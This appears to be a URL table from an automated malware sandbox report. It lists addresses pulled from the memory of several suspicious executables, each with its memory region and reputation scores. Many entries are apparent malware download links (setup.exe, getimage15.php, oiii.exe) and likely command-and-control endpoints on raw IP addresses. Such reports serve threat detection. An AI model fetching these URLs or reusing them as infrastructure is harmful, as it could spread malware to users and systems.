https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://f.alie3ksggg.com/f/oiii.exe	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.sqlite.org/lang_corefunc.html	A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?The	A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/copterwin	ogoGQsWFwF_EcodN5qF7hiVC.exe, 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://kurd.computer/dll/builddoc.exersaenh.dll	CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleur-de-lis.sbs/post/File_294/setup294.exer	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXn	CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26:80/api/bing_release.php:	CHA0VZiz8y.exe, 00000000.00000003.2061926794.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	_rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2273853174.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2274149557.0000000001F48000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.175P	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26/api/flash.php06	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	J9jGBSSbDD3yrTx79DzmOLls.exe, 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp	false	URL Reputation: safe	unknown
http://5.42.66.10/download/th/getimage15.php	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://kurd.computer/dll/builddoc.exe	CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ipinfo.io/widget/demo/8.46.123.175X	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.149:54674/vape/niko.exephpX	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26:80/api/flash.phpA	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26/api/bing_release.php	CHA0VZiz8y.exe, 00000000.00000003.2061680324.00000000004CA000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://monoblocked.com:80/525403/setup.exe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vk.com:80/z	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com/525403/setup.exexer	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kurd.computer:80/dll/builddoc.exeu	CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com:80/v	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/?	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://176.111.174.109/pelikanf	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stats.vk-portal.net	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com/browser_reports?dest=default_reports	CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26/api/flash.phpt	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://st6-20.vk.com/css/al/common.cb94d05c.css	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://st6-20.vk.com/css/al/vkui.c63ec9ec.css	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/:	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleur-de-lis.sbs/r	CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26/api/flash.phpDat	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.175	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/namehttps://ipgeolocation.io/status	CHA0VZiz8y.exe, 00000000.00000003.2052702628.0000000000400000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleur-de-lis.sbs/z	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.175	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.175c	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.159/dl.phpP	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com/525403/setup.exexe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.159/dl.phpO	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.175_	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://ipgeolocation.io/::	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2412636025.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2613733095.000000000063D000.00000040.00000001.01000000.00000013.sdmp	false	Avira URL Cloud: safe	unknown
https://f.123654987.xyz/525403/setup.exeU	CHA0VZiz8y.exe, 00000000.00000003.2159189354.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lop.foxesjoy.com/	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lop.foxesjoy.com/ssl/crt.exee-	CHA0VZiz8y.exe, 00000000.00000003.2189147343.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://5.42.66.10/download/th/getimage15.phpwj	CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://st6-20.vk.com/css/al/fonts_cnt_async.4881739c.css	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kurd.computer:80/dll/builddoc.exe	CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://st6-20.vk.com/css/al/fonts_utf.7fa94ada.css	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.23	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com/525403/setup.exe&	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26/api/flash.phpxB	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fleur-de-lis.sbs/post/File_294/setup294.exe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.myip.com/O	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.0/xmp	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2424687708.0000000002B0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com:80/525403/setup.exe1	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.66.10/download/123p.exel	CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.56.26:80/api/flash.phpso	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.192.56.26/api/flash.php	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://st6-20.vk.com	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.66.10/download/th/retail.phphpb	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com/	CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
